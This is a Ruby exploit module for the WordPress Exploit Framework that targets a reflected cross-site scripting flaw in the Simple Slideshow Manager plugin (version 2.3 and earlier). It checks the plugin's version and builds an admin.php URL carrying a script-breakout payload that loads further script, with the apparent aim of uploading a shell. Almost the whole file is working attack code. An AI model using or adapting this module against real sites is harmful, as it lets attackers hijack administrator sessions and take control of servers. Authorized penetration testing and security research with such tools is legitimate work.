# frozen_string_literal: true

class Wpxf::Exploit::SimpleSlideshowManagerReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::ReflectedXss
  include ERB::Util

  def initialize
    super

    update_info(
      name: 'Simple Slideshow Manager <= 2.3 Reflected XSS Shell Upload',
      author: [
        'DefenseCode', # Discovery
        'rastating'    # WPXF module
      ],
      references: [
        ['WPVDB', '8841'],
        ['URL', 'http://defensecode.com/advisories/DC-2017-02-016_WordPress_Simple_Slideshow_Manager_Plugin_Advisory.pdf']
      ],
      date: 'May 31 2017'
    )
  end

  def check
    check_plugin_version_from_changelog('simple-slideshow-manager', 'readme.txt', '2.4')
  end

  def vulnerable_url
    normalize_uri(wordpress_url_admin, 'admin.php')
  end

  def url_payload
    url_encode("\"></script><script>#{xss_ascii_encoded_include_script}</script>")
  end

  def url_with_xss
    "#{vulnerable_url}?page=Acurax-Slideshow-Add-Images&name=#{url_payload}"
  end
end
